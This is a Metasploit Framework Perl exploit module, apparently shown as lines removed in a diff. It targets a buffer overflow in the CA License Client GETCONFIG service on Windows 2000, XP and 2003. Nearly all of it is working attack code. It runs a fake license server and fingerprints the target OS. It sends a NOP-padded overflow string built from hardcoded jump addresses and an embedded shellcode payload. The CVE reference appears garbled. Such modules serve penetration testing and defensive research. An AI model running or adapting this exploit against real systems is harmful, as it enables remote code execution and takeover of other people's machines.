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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::calicclnt_getconfig;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- use IO::Socket;
- use IO::Select;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'CA License Client GETCONFIG Overflow',
- 'Version' => '$Revision: 1.11 $',
- 'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
- 'Priv' => 1,
- 'AutoOpts' => { 'EXITFUNC' => 'process' }, # avoid the ugly pop-up
- 'UserOpts' => {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 10203],
- },
-
- 'Payload' =>
- {
- 'Space' => 600,
- 'BadChars' => "\x00\x20",
- 'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits an vulnerability in the CA License Client
- service. This exploit will only work if your IP address will
- resolve to the target system. This can be accomplished on a local
- network by running the 'nmbd' service that comes with Samba. If
- you are running this exploit from Windows and do not filter udp
- port 137, this should not be a problem (if the target is on the same
- network segment). Due to the bugginess of the software, you are
- only allowed one connection to the agent port before it starts
- ignoring you. If it wasn't for this issue, it would be possible to
- repeatedly exploit this bug.
-
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '14322'],
- ['BID', '12705'],
- ['CVE', '005-0581'],
- ['URL', 'http://www.idefense.com/application/poi/display?id=213&type=vulnerabilities'],
- ['MIL', '17'],
- ],
-
- 'Targets' => [
-
- # As much as I would like to return back to the DLL or EXE,
- # all of those modules have a leading NULL in the
- # loaded @ address :(
-
- # name, jmp esi, writable, jmp edi
- ['Automatic', 0],
- ['Windows 2000 English', 0x750217ae, 0x7ffde0cc, 0x75021421], # ws2help.dll esi + peb + edi
- ['Windows XP English SP0-1', 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8], # ws2help.dll esi + peb + edi
- ['Windows XP English SP2', 0x71aa1b22, 0x71aa5001, 0x71aa1e08], # ws2help.dll esi + .data + edi
- ['Windows 2003 English SP0', 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c], # ws2help.dll esi + peb + edi
- ],
- 'Keys' => ['calicense'],
-
- 'DisclosureDate' => 'Mar 02 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- my $server = IO::Socket::INET->new
- (
- 'LocalPort' => 10202,
- 'Proto' => 'tcp',
- 'ReuseAddr' => 1,
- 'Listen' => 5,
- 'Blocking' => 0,
- );
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- if (! $server) {
- $self->PrintLine("[*] Could not start the fake CA License Server: $!");
- return;
- }
- my $sel = IO::Select->new($server);
-
- # 1: Connect to the agent and send a request
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine("[*] Could not connect to the client agent");
- $server->shutdown(2);
- $server->close;
- return;
- }
-
- $s->Send("A0 GETSERVER<EOM>\n");
- $self->PrintLine("[*] Waiting for the license agent to connect back...");
-
- my $r = $s->Recv(-1, 3);
-
- # 2: Wait for a connection from the agent back to us
- my @ready = $sel->can_read(8);
- if (! scalar(@ready)) {
- $self->PrintLine("[*] No connection was received from the agent >:(");
- $s->Close;
- $server->shutdown(2);
- $server->close;
- return;
- }
-
- # 3: Accept the connection and determine target type if needed
- my $agent_soc = $ready[0]->accept();
- my $agent = Msf::Socket::Tcp->new_from_socket($agent_soc);
- $self->PrintLine("[*] Accepted connection from agent ".$agent->PeerAddr);
-
- if ($target_idx == 0) {
-
- $agent->Send("A0 GETCONFIG SELF 0<EOM>");
- my $data = $agent->Recv(-1, 2);
-
- if ($data =~ m/OS\<([^\>]+)/) {
- my $os = $1;
- $os =~ s/_NT//g;
- $os =~ s/5\.1/XP/;
- $os =~ s/5\.2/2003/;
- $os =~ s/5\.0/2000/;
- $os =~ s/4\.0/NT 4.0/;
-
- my @targs;
- for (1 .. (scalar(@{$self->Targets})-1)) {
- if (index($self->Targets->[$_]->[0], $os) != -1) {
- push @targs, $_;
- }
- }
-
- if (scalar(@targs) > 1) {
- $self->PrintLine("[*] Multiple possible targets:");
- foreach (@targs) {
- $self->PrintLine("[*] $_\t".$self->Targets->[$_]->[0]);
- }
- $self->PrintLine("[*] Picking the closest target and hoping...");
- return;
- }
-
- if (scalar(@targs)) {
- $target = $self->Targets->[$targs[0]];
- }
-
- if (! scalar(@targs)) {
- $self->PrintLine("[*] No matching target for $os");
- return;
- }
-
- } else {
- $self->PrintLine("[*] Could not determine the remote OS automatically");
- return;
- }
- }
-
- $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
-
- my $boom = $self->MakeNops(900);
-
- ## exploits two different versions at once >:-)
- # 144 -> return address of esi points to string middle
- # 196 -> return address of edi points to string beginning
- # 148 -> avoid exception by patching with writable address
- # 928 -> seh handler (not useful under XP SP2)
-
- substr($boom, 142, 2, "\xeb\x08"); # jmp over addresses
- substr($boom, 144, 4, pack('V', $target->[1])); # jmp esi
- substr($boom, 148, 4, pack('V', $target->[2])); # writable address
- substr($boom, 194, 2, "\xeb\x04"); # jmp over address
- substr($boom, 196, 4, pack('V', $target->[3])); # jmp edi
-
- substr($boom, 272, length($shellcode), $shellcode);
-
- my $req = "A0 GETCONFIG SELF $boom<EOM>";
-
- $self->PrintLine("[*] Sending " .length($req) . " bytes to remote host.");
- $agent->Send($req);
-
- $server->shutdown(2);
- $agent->Close;
- $s->Close;
-
- return;
- }
-
- 1;
-
- __DATA__
- eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>
- BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
-